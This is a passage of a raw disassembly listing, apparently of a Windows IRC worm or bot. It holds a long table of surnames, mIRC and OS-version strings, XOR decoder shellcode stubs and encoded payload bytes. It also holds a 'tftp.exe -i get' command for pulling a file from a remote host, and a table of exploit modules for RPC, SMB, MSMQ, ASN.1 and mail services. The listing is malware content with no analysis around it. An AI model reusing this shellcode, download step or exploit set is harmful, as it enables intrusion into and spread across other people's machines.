; DATA XREF: ___:0043ACF0o aPolak db 'Polak',0 ; DATA XREF: ___:0043ACF4o align 4 aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0043ACF8o aPolitis db 'Politis',0 ; DATA XREF: ___:0043ACFCo aPoma db 'Poma',0 ; DATA XREF: ___:0043AD00o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0043AD04o aPowers db 'Powers',0 ; DATA XREF: ___:0043AD08o align 4 aPresper db 'Presper',0 ; DATA XREF: ___:0043AD0Co aPreucel db 'Preucel',0 ; DATA XREF: ___:0043AD10o aPrevost db 'Prevost',0 ; DATA XREF: ___:0043AD14o aPritchard db 'Pritchard',0 ; DATA XREF: ___:0043AD18o align 10h aPritz db 'Pritz',0 ; DATA XREF: ___:0043AD1Co align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0043AD20o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0043AD24o align 4 aPuccia db 'Puccia',0 ; DATA XREF: ___:0043AD28o align 4 aPugh db 'Pugh',0 ; DATA XREF: ___:0043AD2Co align 4 aPynchon db 'Pynchon',0 ; DATA XREF: ___:0043AD30o aQuaday db 'Quaday',0 ; DATA XREF: ___:0043AD34o align 4 aQuetin db 'Quetin',0 ; DATA XREF: ___:0043AD38o align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0043AD3Co align 4 aRabkin db 'Rabkin',0 ; DATA XREF: ___:0043AD40o align 4 aRadeke db 'Radeke',0 ; DATA XREF: ___:0043AD44o align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0043AD48o aRaney db 'Raney',0 ; DATA XREF: ___:0043AD4Co align 4 aRangan db 'Rangan',0 ; DATA XREF: ___:0043AD50o align 10h aRankin db 'Rankin',0 ; DATA XREF: ___:0043AD54o align 4 aRapple db 'Rapple',0 ; DATA XREF: ___:0043AD58o align 10h aRayport db 'Rayport',0 ; DATA XREF: ___:0043AD5Co aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0043AD60o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0043AD64o align 4 aCunningham db 'Cunningham',0 ; DATA XREF: ___:0043AD68o align 10h aReinold db 'Reinold',0 ; DATA XREF: ___:0043AD6Co aRemak db 'Remak',0 ; DATA XREF: ___:0043AD70o align 10h aRenick db 'Renick',0 ; DATA XREF: ___:0043AD74o align 4 aRepetto db 'Repetto',0 ; DATA XREF: ___:0043AD78o aResnik db 'Resnik',0 ; DATA XREF: ___:0043AD7Co align 4 aRhea db 'Rhea',0 ; DATA XREF: ___:0043AD80o align 10h aRichmond db 'Richmond',0 ; DATA XREF: ___:0043AD84o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0043AD88o align 4 aRindos db 'Rindos',0 ; DATA XREF: ___:0043AD8Co align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0043AD90o align 4 aRish db 'Rish',0 ; DATA XREF: ___:0043AD94o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0043AD98o align 4 aRobinson db 'Robinson',0 ; DATA XREF: ___:0043AD9Co align 10h aRocha db 'Rocha',0 ; DATA XREF: ___:0043ADA0o align 4 aRoesler db 'Roesler',0 ; DATA XREF: ___:0043ADA4o aRogers db 'Rogers',0 ; DATA XREF: ___:0043ADA8o align 4 aRonen db 'Ronen',0 ; DATA XREF: ___:0043ADACo align 10h aRow db 'Row',0 ; DATA XREF: ___:0043ADB0o aRoyal db 'Royal',0 ; DATA XREF: ___:0043ADB4o align 4 aRu db 'Ru',0 ; DATA XREF: ___:0043ADB8o align 10h aRuan db 'Ruan',0 ; DATA XREF: ___:0043ADBCo align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0043ADC0o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: ___:0043ADC4o align 10h aRush db 'Rush',0 ; DATA XREF: ___:0043ADC8o align 4 aRyu db 'Ryu',0 ; DATA XREF: ___:0043ADCCo aSabatello db 'Sabatello',0 ; DATA XREF: ___:0043ADD0o align 4 aSadler db 'Sadler',0 ; DATA XREF: ___:0043ADD4o align 10h aSafire db 'Safire',0 ; DATA XREF: ___:0043ADD8o align 4 aSahu db 'Sahu',0 ; DATA XREF: ___:0043ADDCo align 10h aSali db 'Sali',0 ; DATA XREF: ___:0043ADE0o align 4 aSamson db 'Samson',0 ; DATA XREF: ___:0043ADE4o align 10h aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0043ADE8o aSanna db 'Sanna',0 ; DATA XREF: ___:0043ADECo align 4 aSapers db 'Sapers',0 ; DATA XREF: ___:0043ADF0o align 10h aSarin db 'Sarin',0 ; DATA XREF: ___:0043ADF4o align 4 aSartore db 'Sartore',0 ; DATA XREF: ___:0043ADF8o aSase db 'Sase',0 ; DATA XREF: ___:0043ADFCo align 4 aSatin db 'Satin',0 ; DATA XREF: ___:0043AE00o align 10h aSatta db 'Satta',0 ; DATA XREF: ___:0043AE04o align 4 aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0043AE08o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: ___:0043AE0Co aSayied db 'Sayied',0 ; DATA XREF: ___:0043AE10o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0043AE14o align 4 aScepan db 'Scepan',0 ; DATA XREF: ___:0043AE18o align 4 aScharf db 'Scharf',0 ; DATA XREF: ___:0043AE1Co align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0043AE20o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0043AE24o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0043AE28o aSchifini db 'Schifini',0 ; DATA XREF: ___:0043AE2Co align 10h aSchilling db 'Schilling',0 ; DATA XREF: ___:0043AE30o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0043AE34o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0043AE38o align 4 aSchuman db 'Schuman',0 ; DATA XREF: ___:0043AE3Co aSchutte db 'Schutte',0 ; DATA XREF: ___:0043AE40o aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0043AE44o align 10h aSchwan db 'Schwan',0 ; DATA XREF: ___:0043AE48o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0043AE4Co aScovel db 'Scovel',0 ; DATA XREF: ___:0043AE50o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0043AE54o aSeaton db 'Seaton',0 ; DATA XREF: ___:0043AE58o align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0043AE5Co align 4 aSegal db 'Segal',0 ; DATA XREF: ___:0043AE60o align 4 aSekler db 'Sekler',0 ; DATA XREF: ___:0043AE64o align 4 aSelvage db 'Selvage',0 ; DATA XREF: ___:0043AE68o aSen db 'Sen',0 ; DATA XREF: ___:0043AE6Co aSennett db 'Sennett',0 ; DATA XREF: ___:0043AE70o aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0043AE74o align 4 aSexton db 'Sexton',0 ; DATA XREF: ___:0043AE78o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0043AE7Co aShaikh db 'Shaikh',0 ; DATA XREF: ___:0043AE80o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0043AE84o align 4 aShankland db 'Shankland',0 ; DATA XREF: ___:0043AE88o align 10h aShanley db 'Shanley',0 ; DATA XREF: ___:0043AE8Co aShar db 'Shar',0 ; DATA XREF: ___:0043AE90o align 10h aShatrov db 'Shatrov',0 ; DATA XREF: ___:0043AE94o aShavelson db 'Shavelson',0 ; DATA XREF: ___:0043AE98o align 4 aShea db 'Shea',0 ; DATA XREF: ___:0043AE9Co align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0043AEA0o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: ___:0043AEA4o align 10h aSheppard db 'Sheppard',0 ; DATA XREF: ___:0043AEA8o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0043AEACo align 4 aShesko db 'Shesko',0 ; DATA XREF: ___:0043AEB0o align 10h aShia db 'Shia',0 ; DATA XREF: ___:0043AEB4o align 4 aShibata db 'Shibata',0 ; DATA XREF: ___:0043AEB8o aShimon db 'Shimon',0 ; DATA XREF: ___:0043AEBCo align 4 aSiesto db 'Siesto',0 ; DATA XREF: ___:0043AEC0o align 10h aSigalot db 'Sigalot',0 ; DATA XREF: ___:0043AEC4o aSigini db 'Sigini',0 ; DATA XREF: ___:0043AEC8o align 10h aSigna db 'Signa',0 ; DATA XREF: ___:0043AECCo align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0043AED0o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0043AED4o align 10h aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0043AED8o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0043AEDCo aSites db 'Sites',0 ; DATA XREF: ___:0043AEE0o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0043AEE4o align 4 aSkerry db 'Skerry',0 ; DATA XREF: ___:0043AEE8o align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0043AEECo align 4 aSloan db 'Sloan',0 ; DATA XREF: ___:0043AEF0o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0043AEF4o align 4 aSmilow db 'Smilow',0 ; DATA XREF: ___:0043AEF8o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0043AEFCo aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0043AF00o align 10h aSocolow db 'Socolow',0 ; DATA XREF: ___:0043AF04o aSolon db 'Solon',0 ; DATA XREF: ___:0043AF08o align 10h aSomers db 'Somers',0 ; DATA XREF: ___:0043AF0Co align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0043AF10o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: ___:0043AF14o align 10h aSorg db 'Sorg',0 ; DATA XREF: ___:0043AF18o align 4 aSottak db 'Sottak',0 ; DATA XREF: ___:0043AF1Co align 10h aSoukup db 'Soukup',0 ; DATA XREF: ___:0043AF20o align 4 aSoule db 'Soule',0 ; DATA XREF: ___:0043AF24o align 10h aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0043AF28o align 4 aSpanier db 'Spanier',0 ; DATA XREF: ___:0043AF2Co aSparrow db 'Sparrow',0 ; DATA XREF: ___:0043AF30o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0043AF34o align 4 aSpeizer db 'Speizer',0 ; DATA XREF: ___:0043AF38o aSpence db 'Spence',0 ; DATA XREF: ___:0043AF3Co align 4 aSperber db 'Sperber',0 ; DATA XREF: ___:0043AF40o aSpicer db 'Spicer',0 ; DATA XREF: ___:0043AF44o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0043AF48o align 4 aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0043AF4Co align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0043AF50o aStmartin db 'StMartin',0 ; DATA XREF: ___:0043AF54o align 4 aStalvey db 'Stalvey',0 ; DATA XREF: ___:0043AF58o aStam db 'Stam',0 ; DATA XREF: ___:0043AF5Co align 4 aStang db 'Stang',0 ; DATA XREF: ___:0043AF60o align 10h aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0043AF64o align 10h aStates db 'States',0 ; DATA XREF: ___:0043AF68o align 4 aStatlender db 'Statlender',0 ; DATA XREF: ___:0043AF6Co align 4 aStefani db 'Stefani',0 ; DATA XREF: ___:0043AF70o aSteiner db 'Steiner',0 ; DATA XREF: ___:0043AF74o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0043AF78o align 10h aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0043AF7Co aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0043AF80o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0043AF84o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0043AF88o align 4 aStock db 'Stock',0 ; DATA XREF: ___:0043AF8Co align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0043AF90o align 4 aStockwell db 'Stockwell',0 ; DATA XREF: ___:0043AF94o align 4 aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0043AF98o aStonich db 'Stonich',0 ; DATA XREF: ___:0043AF9Co aStorer db 'Storer',0 ; DATA XREF: ___:0043AFA0o align 10h aStott db 'Stott',0 ; DATA XREF: ___:0043AFA4o align 4 aStrange db 'Strange',0 ; DATA XREF: ___:0043AFA8o aStrauch db 'Strauch',0 ; DATA XREF: ___:0043AFACo aStreiff db 'Streiff',0 ; DATA XREF: ___:0043AFB0o aStringer db 'Stringer',0 ; DATA XREF: ___:0043AFB4o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0043AFB8o align 4 aSumner db 'Sumner',0 ; DATA XREF: ___:0043AFBCo align 10h aSuo db 'Suo',0 ; DATA XREF: ___:0043AFC0o aSurdam db 'Surdam',0 ; DATA XREF: ___:0043AFC4o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0043AFC8o align 4 aSweetser db 'Sweetser',0 ; DATA XREF: ___:0043AFCCo align 4 aSwindle db 'Swindle',0 ; DATA XREF: ___:0043AFD0o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0043AFD4o aTai db 'Tai',0 ; DATA XREF: ___:0043AFD8o aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0043AFDCo align 4 aTambiah db 'Tambiah',0 ; DATA XREF: ___:0043AFE0o aTandler db 'Tandler',0 ; DATA XREF: ___:0043AFE4o aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0043AFE8o align 10h aTatar db 'Tatar',0 ; DATA XREF: ___:0043AFECo align 4 aTaveras db 'Taveras',0 ; DATA XREF: ___:0043AFF0o aTawn db 'Tawn',0 ; DATA XREF: ___:0043AFF4o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0043AFF8o align 4 aTeague db 'Teague',0 ; DATA XREF: ___:0043AFFCo align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0043B000o align 4 aTemmer db 'Temmer',0 ; DATA XREF: ___:0043B004o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0043B008o align 4 aTerracini db 'Terracini',0 ; DATA XREF: ___:0043B00Co align 10h aThan db 'Than',0 ; DATA XREF: ___:0043B010o align 4 aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0043B014o align 4 aTheodos db 'Theodos',0 ; DATA XREF: ___:0043B018o aThibault db 'Thibault',0 ; DATA XREF: ___:0043B01Co align 4 aThisted db 'Thisted',0 ; DATA XREF: ___:0043B020o aThomsen db 'Thomsen',0 ; DATA XREF: ___:0043B024o aThroop db 'Throop',0 ; DATA XREF: ___:0043B028o align 4 aTierney db 'Tierney',0 ; DATA XREF: ___:0043B02Co aTill db 'Till',0 ; DATA XREF: ___:0043B030o align 4 aTimmons db 'Timmons',0 ; DATA XREF: ___:0043B034o aTofallis db 'Tofallis',0 ; DATA XREF: ___:0043B038o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0043B03Co align 4 aTolls db 'Tolls',0 ; DATA XREF: ___:0043B040o align 4 aTolman db 'Tolman',0 ; DATA XREF: ___:0043B044o align 4 aTomford db 'Tomford',0 ; DATA XREF: ___:0043B048o aToomer db 'Toomer',0 ; DATA XREF: ___:0043B04Co align 4 aTopulos db 'Topulos',0 ; DATA XREF: ___:0043B050o aTorresi db 'Torresi',0 ; DATA XREF: ___:0043B054o aTorske db 'Torske',0 ; DATA XREF: ___:0043B058o align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0043B05Co align 4 aToye db 'Toye',0 ; DATA XREF: ___:0043B060o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0043B064o align 4 aTrenga db 'Trenga',0 ; DATA XREF: ___:0043B068o align 10h aTrewin db 'Trewin',0 ; DATA XREF: ___:0043B06Co align 4 aTringali db 'Tringali',0 ; DATA XREF: ___:0043B070o align 4 aTroiani db 'Troiani',0 ; DATA XREF: ___:0043B074o aTroy db 'Troy',0 ; DATA XREF: ___:0043B078o align 4 aTruss db 'Truss',0 ; DATA XREF: ___:0043B07Co align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0043B080o aTsomides db 'Tsomides',0 ; DATA XREF: ___:0043B084o align 10h aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0043B088o align 4 aTuck db 'Tuck',0 ; DATA XREF: ___:0043B08Co align 4 aTudge db 'Tudge',0 ; DATA XREF: ___:0043B090o align 4 aTukan db 'Tukan',0 ; DATA XREF: ___:0043B094o align 4 aTurano db 'Turano',0 ; DATA XREF: ___:0043B098o align 4 aTurek db 'Turek',0 ; DATA XREF: ___:0043B09Co align 4 aTuttle db 'Tuttle',0 ; DATA XREF: ___:0043B0A0o align 4 aTwells db 'Twells',0 ; DATA XREF: ___:0043B0A4o align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0043B0A8o align 10h aUllman db 'Ullman',0 ; DATA XREF: ___:0043B0ACo align 4 aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0043B0B0o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0043B0B4o aUrban db 'Urban',0 ; DATA XREF: ___:0043B0B8o align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0043B0BCo align 4 aUsdan db 'Usdan',0 ; DATA XREF: ___:0043B0C0o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: ___:0043B0C4o align 4 aVacca db 'Vacca',0 ; DATA XREF: ___:0043B0C8o align 4 aWaite db 'Waite',0 ; DATA XREF: ___:0043B0CCo align 4 aValberg db 'Valberg',0 ; DATA XREF: ___:0043B0D0o aValencia db 'Valencia',0 ; DATA XREF: ___:0043B0D4o align 4 aWales db 'Wales',0 ; DATA XREF: ___:0043B0D8o align 10h aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0043B0DCo align 4 aWalter db 'Walter',0 ; DATA XREF: ___:0043B0E0o align 4 aVanallen db 'vanAllen',0 ; DATA XREF: ___:0043B0E4o align 10h aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0043B0E8o aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0043B0ECo align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0043B0F0o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0043B0F4o align 10h aWasowska db 'Wasowska',0 ; DATA XREF: ___:0043B0F8o align 4 aVasquez db 'Vasquez',0 ; DATA XREF: ___:0043B0FCo aWaugh db 'Waugh',0 ; DATA XREF: ___:0043B100o align 4 aWeighart db 'Weighart',0 ; DATA XREF: ___:0043B104o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0043B108o align 4 aWeinhaus db 'Weinhaus',0 align 10h aWeissbourd db 'Weissbourd',0 align 4 aWeissman db 'Weissman',0 align 4 aVelasquez db 'Velasquez',0 align 4 aWelles db 'Welles',0 align 4 aWelsh db 'Welsh',0 align 4 aWengret db 'Wengret',0 aVenne db 'Venne',0 align 4 aVerghese db 'Verghese',0 align 10h aWescott db 'Wescott',0 aWetzel db 'Wetzel',0 align 10h aWhately db 'Whately',0 aWhilton db 'Whilton',0 aWhite db 'White',0 align 4 aWhitla db 'Whitla',0 align 10h aWhittaker db 'Whittaker',0 align 4 aViana db 'Viana',0 align 4 aViano db 'Viano',0 align 4 aWiedersheim db 'Wiedersheim',0 aWiener db 'Wiener',0 align 10h aViens db 'Viens',0 align 4 aVignola db 'Vignola',0 aWilder db 'Wilder',0 align 4 aWilhelm db 'Wilhelm',0 aWilk db 'Wilk',0 align 4 aWilkin db 'Wilkin',0 align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0043B174o align 4 aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0043B178o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0043B17Co aWilson db 'Wilson',0 ; DATA XREF: ___:0043B180o align 4 aVitali db 'Vitali',0 ; DATA XREF: ___:0043B184o align 4 aViviani db 'Viviani',0 ; DATA XREF: ___:0043B188o aVoigt db 'Voigt',0 ; DATA XREF: ___:0043B18Co align 4 aWolk db 'Wolk',0 ; DATA XREF: ___:0043B190o align 4 aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0043B194o align 4 aWoo db 'Woo',0 ; DATA XREF: ___:0043B198o aWooden db 'Wooden',0 ; DATA XREF: ___:0043B19Co align 4 aWoods db 'Woods',0 ; DATA XREF: ___:0043B1A0o align 4 aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0043B1A4o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0043B1A8o aVotey db 'Votey',0 ; DATA XREF: ___:0043B1ACo align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0043B1B0o align 4 aYamane db 'Yamane',0 ; DATA XREF: ___:0043B1B4o align 4 aYankee db 'Yankee',0 ; DATA XREF: ___:0043B1B8o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0043B1BCo aYates db 'Yates',0 align 4 aYbarra db 'Ybarra',0 align 4 aYedidia db 'Yedidia',0 aYesson db 'Yesson',0 align 4 aYetiv db 'Yetiv',0 align 4 aYoffe db 'Yoffe',0 align 4 aYoo db 'Yoo',0 aYoukSee db 'Youk-See',0 align 4 aYu db 'Yu',0 align 10h aZachary db 'Zachary',0 aZahedi db 'Zahedi',0 align 10h aZangwill db 'Zangwill',0 ; DATA XREF: ___:0043B1ECo align 4 aZegans db 'Zegans',0 ; DATA XREF: ___:0043B1F0o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: ___:0043B1F4o aZoldak db 'Zoldak',0 ; DATA XREF: ___:0043B1F8o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: ___:0043B1FCo aZurn db 'Zurn',0 ; DATA XREF: ___:0043B200o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: ___:0043B204o align 4 aZytowski db 'Zytowski',0 ; DATA XREF: ___:0043B208o align 4 aS_29 db '%s',0 ; DATA XREF: sub_408768+27o align 4 aSI db '%s%i',0 ; DATA XREF: sub_408768+4Eo align 4 aS_30 db '%s',0 align 4 aSI_0 db '%s%i',0 align 10h aPc db 'PC',0 ; DATA XREF: ___:00408885o align 4 aPc_0 db 'PC',0 ; DATA XREF: ___:004088AFo align 4 aPc_1 db 'PC',0 ; DATA XREF: ___:004088DBo align 4 aSI_1 db '%s%i',0 ; DATA XREF: ___:00408906o align 4 aS_31 db '%s|',0 ; DATA XREF: ___:00408954o aSI_2 db '%s%i',0 ; DATA XREF: ___:0040897Bo align 10h a95 db '95',0 ; DATA XREF: ___:004089E9o align 4 aNt db 'NT',0 ; DATA XREF: ___:004089F7o align 4 a98 db '98',0 ; DATA XREF: ___:00408A07o align 4 aMe_0 db 'ME',0 ; DATA XREF: ___:00408A17o align 10h a2k db '2K',0 ; DATA XREF: ___:00408A30o align 4 aXp_0 db 'XP',0 ; DATA XREF: ___:00408A40o align 4 a2k3 db '2K3',0 ; DATA XREF: ___:00408A4Eo a???_0 db '???',0 ; DATA XREF: ___:loc_408A55o aS_32 db '[%s]|',0 ; DATA XREF: ___:00408A5Eo align 4 aSI_3 db '%s%i',0 ; DATA XREF: ___:00408A85o align 10h aMirc_0 db 'mIRC',0 ; DATA XREF: sub_408AA4+1Fo align 4 off_43DCA8 dd offset byte_5D4D5B ; DATA XREF: sub_408AA4+2Co dword_43DCAC dd 5D64255Bh, 7325h ; DATA XREF: sub_408AA4+3Ao aMirc_1 db 'mIRC',0 ; DATA XREF: sub_408AA4:loc_408AF3o align 4 off_43DCBC dd offset byte_5D4D5B ; DATA XREF: sub_408AA4+5Co ; --------------------------------------------------------------------------- loc_43DCC0: ; DATA XREF: sub_408D4C+C4o jmp short loc_43DCC4 ; --------------------------------------------------------------------------- loc_43DCC2: ; CODE XREF: ___:loc_43DCC4p jmp short loc_43DCC9 ; --------------------------------------------------------------------------- loc_43DCC4: ; CODE XREF: ___:loc_43DCC0j call loc_43DCC2 loc_43DCC9: ; CODE XREF: ___:loc_43DCC2j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_43DCCE dw 0FFFFh ; DATA XREF: sub_408D4C+CCw db 80h, 73h, 0Eh byte_43DCD3 db 0FFh ; DATA XREF: sub_408D4C+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_43DCD8: ; DATA XREF: sub_408D4C+A2o jmp short loc_43DCDC ; --------------------------------------------------------------------------- loc_43DCDA: ; CODE XREF: ___:loc_43DCDCp jmp short loc_43DCE1 ; --------------------------------------------------------------------------- loc_43DCDC: ; CODE XREF: ___:loc_43DCD8j call loc_43DCDA loc_43DCE1: ; CODE XREF: ___:loc_43DCDAj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_43DCE5 db 0FFh ; DATA XREF: sub_408D4C+AAw dw 7380h db 0Ch byte_43DCE9 db 0FFh ; DATA XREF: sub_408D4C+B0w dw 0E243h dd 0F9h dword_43DCF0 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_408BD5+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_43DD54 dd 12h ; DATA XREF: sub_408BD5+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_408BD5+79o aJ_0 db 'j',0 db 0E8h dword_43DD6D dd 17h ; DATA XREF: sub_408BD5+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_43DD74 retn ; --------------------------------------------------------------------------- byte_43DD74 db 0E8h ; CODE XREF: ___:0043DD71j dword_43DD75 dd 1 ; DATA XREF: sub_408BD5+45w byte_43DD79 db 0, 6Ah, 0 ; DATA XREF: sub_408BD5+C2o dd 7E8h db 0, 0Fh, 84h dword_43DD83 dd 0FFFFFFEDh ; DATA XREF: sub_408BD5+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h, 202E6425h dd 7325h aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4090E1+35o align 4 aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_4090E1+51o align 10h aNapi2_135_0 db 'napi2_135',0 ; DATA XREF: sub_409ECC+164o aNapi2_135 db 'Napi2_135',0 ; DATA XREF: sub_4094E0+30o ; sub_40CE96+57o dd 5 dup(0) dword_43DE38 dd 87h ; DATA XREF: sub_403038+3212r ; sub_403038+323Eo ... off_43DE3C dd offset sub_40CE96 ; DATA XREF: sub_409ECC+1E6r dword_43DE40 dd 0 ; DATA XREF: sub_4093A7+2Eo ; ___:0040AC82w ... dword_43DE44 dd 1 ; DATA XREF: sub_4097CE+20r dword_43DE48 dd 0 ; DATA XREF: sub_4097CE+290r align 10h aNapi2_445 db 'napi2_445',0 aNapi2_445_0 db 'Napi2_445',0 dd 5 dup(0) dd 1BDh, 40CE96h, 0 dd 1, 2 dup(0) aNapi2_139 db 'napi2_139',0 aNapi2_139_0 db 'Napi2_139',0 dd 5 dup(0) dd 8Bh, 40CE96h, 0 dd 1, 2 dup(0) aMsgsvc db 'msgsvc',0 align 4 dd 654D0000h, 6E657373h, 726567h, 5 dup(0) dd 87h, 40ADB0h, 0 dd 1, 2 dup(0) aMsmq2103 db 'msmq2103',0 align 2 aMsmq2103_0 db 'MSMQ 2103',0 dd 5 dup(0) dd 837h, 40C62Eh, 0 dd 1, 2 dup(0) aMsmq2105 db 'msmq2105',0 align 2 aMsmq2105_0 db 'MSMQ 2105',0 dd 5 dup(0) dd 839h, 40C62Eh, 0 dd 1, 2 dup(0) aMsmq2107 db 'msmq2107',0 align 2 aMsmq2107_0 db 'MSMQ 2107',0 dd 5 dup(0) dd 83Bh, 40C62Eh, 0 dd 1, 2 dup(0) aAsn1http db 'asn1http',0 align 2 aAsn_1Http db 'ASN.1-HTTP',0 align 4 dd 4 dup(0) dd 50h, 40BB78h, 0 dd 1, 2 dup(0) aAsn1smb db 'asn1smb',0 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40BB78h, 0 dd 1, 2 dup(0) aAsn1smbnt db 'asn1smbnt',0 aAsn_1SmbNt db 'ASN.1-SMB NT',0 align 4 dd 4 dup(0) dd 8Bh, 40BB78h, 0 dd 1, 2 dup(0) aImail_1 db 'imail',0 align 4 dd 4D490000h, 6C6961h, 6 dup(0) dd 8Fh, 40A60Ah, 0 dd 1, 2 dup(0) aMersin db 'mersin',0 align 4 dd 4E560000h, 6F6F5243h, 726574h, 5 dup(0) dd 170Ch, 4145EFh, 0 dd 1, 12h dup(0) aMersin_0 db 'mersin',0 align 4 db 2 dup(0) byte_43E15A db 1 ; DATA XREF: sub_403038:loc_4061C8r ; sub_403038+319Ao aMsmq2103_1 db 'msmq2103',0 dd 73610100h, 6D73316Eh, 62h, 1, 2 dup(0) ; --------------------------------------------------------------------------- jmp short loc_43E18E ; =============== S U B 